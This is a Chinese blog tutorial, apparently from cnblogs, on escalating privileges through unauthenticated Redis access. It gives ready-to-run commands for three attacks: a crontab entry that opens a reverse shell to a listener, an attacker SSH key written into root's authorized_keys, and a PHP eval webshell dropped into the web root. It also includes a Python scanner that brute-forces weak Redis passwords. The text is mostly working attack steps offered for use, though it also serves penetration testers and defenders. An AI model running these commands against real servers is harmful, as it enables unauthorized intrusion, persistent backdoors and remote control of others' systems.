• redis提权


    介绍:Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

    提权:redis未授权访问从而进行权限提升

    第一种:利用计划任务执行命令反弹shell

    在redis以root权限运行时可以写crontab来执行命令反弹shell
    先在自己的服务器上监听一个端口
    nc -lvnp 4444
    然后执行命令:

    redis-cli -h 192.168.2.6
    set x "
    * * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
    "
    config set dir /var/spool/cron/
    config set dbfilename root
    save
    

    这种写shell的方式好像不是通用的,自己只测试过centos!


    第二种: 写ssh-keygen公钥登录服务器
    在以下条件下,可以利用此方法
    1、Redis服务使用root账号启动
    2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

    利用过程:

    1、本地生成ssh密钥
    ssh-keygen -t rsa

    2、在存在未授权访问的目标机上进行以下操作,写入公钥

    192.168.63.130:6379> config set dir /root/.ssh/
    OK
    192.168.63.130:6379> config set dbfilename authorized_keys
    OK
    192.168.63.130:6379> set x "
    
    
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali
    
    
    "
    OK
    192.168.63.130:6379> save
    OK
    

    3、进行连接


    第三种:获取web服务的shell
    当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
    执行以下命令

    config set dir /var/www/html/
    config set dbfilename shell.php
    set x "<?php @eval($_POST['caidao']);?>"
    save
    

    未授权检测代码:

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import socket
    import sys
    PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("INFO
    ")
            result = s.recv(1024)
            if "redis_version" in result:
                return u"未授权访问"
            elif "Authentication" in result:
                for pass_ in PASSWORD_DIC:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s
    " %(pass_))
                    result = s.recv(1024)
                    if '+OK' in result:
                        return u"存在弱口令,密码:%s" % (pass_)
        except Exception, e:
            pass
    if __name__ == '__main__':
        ip=sys.argv[1]
        port=sys.argv[2]
        print check(ip,port, timeout=10)
    

    参考文章:https://blog.csdn.net/fly_hps/article/details/80937837

  • 相关阅读:
    .NET Core实战项目之CMS 第一章 入门篇-开篇及总体规划
    使用Visual Studio Code开发.NET Core看这篇就够了
    ASP.NET Core WebApi使用Swagger生成api说明文档看这篇就够了
    asp.Net Core免费开源分布式异常日志收集框架Exceptionless安装配置以及简单使用图文教程
    【半译】扩展shutdown超时设置以保证IHostedService正常关闭
    从零搭建分布式文件系统MinIO比FastDFS要更合适
    用asp.net core结合fastdfs打造分布式文件存储系统
    在ASP.NET Core中创建基于Quartz.NET托管服务轻松实现作业调度
    Nuget多项目批量打包上传服务器的简明教程
    一个新实验:使用gRPC-Web从浏览器调用.NET gRPC服务
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/11739232.html
Copyright © 2020-2023  润新知